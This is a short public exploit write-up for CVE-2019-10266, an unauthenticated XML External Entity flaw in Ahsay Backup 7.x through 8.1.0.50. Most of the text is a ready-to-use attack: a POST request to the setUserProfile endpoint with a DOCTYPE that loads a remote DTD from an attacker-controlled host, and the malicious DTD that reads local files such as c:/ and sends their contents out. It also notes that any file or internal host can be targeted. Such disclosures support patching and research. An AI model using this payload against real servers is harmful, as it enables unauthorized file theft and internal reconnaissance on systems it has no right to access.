Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection

# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50. 
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe
# Version: 7.x < 8.1.0.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10266

#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity
#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263

Sending the following POST request will trigger the XXE:

POST /obs/obm8/user/setUserProfile HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 126
Host: 172.16.238.213:80
        
<?xml version="1.0"?>
 <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>

On http://attacker/oob add the following content:

<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37;
        trick SYSTEM 'file://:%payl;/%payl;'>">

Here it is possible to change file:///c:/ to any directory/file or internal host.